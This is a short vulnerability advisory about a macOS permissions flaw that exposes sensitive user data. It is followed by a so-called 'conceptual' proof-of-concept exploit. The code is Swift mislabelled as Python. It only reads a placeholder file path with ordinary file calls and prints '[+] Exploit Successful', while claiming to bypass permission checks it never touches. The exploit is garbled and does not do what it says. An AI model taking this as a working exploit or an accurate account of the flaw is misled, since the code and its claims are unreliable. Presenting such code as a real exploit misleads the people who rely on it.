A permissions issue was addressed by removing the vulnerable code. This issue is fixed in macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. An app may be able to access sensitive user data.
The following code is for security research and authorized testing only.
python
/*
* PoC for CVE-2026-28828 (Conceptual)
* This code attempts to access a protected user directory without explicit permissions.
*/
import Foundation
func exploit_cve_2026_28828() {
// Path to sensitive user data (e.g., Keychain, Contacts, or specific private files)
let sensitivePath = "~/Library/SensitiveData/private_info.txt"
if let path = NSString(string: sensitivePath).expandingTildeInPath as String? {
let fileManager = FileManager.default
// Attempt to read the file bypassing permission checks
if fileManager.fileExists(atPath: path) {
do {
let content = try String(contentsOfFile: path, encoding: .utf8)
print("[+] Exploit Successful: Sensitive data accessed.")
print("Content: \(content)")
} catch {
print("[-] Exploit Failed: Could not read file.")
}
} else {
print("[-] File not found.")
}
}
}
// Run the PoC
exploit_cve_2026_28828()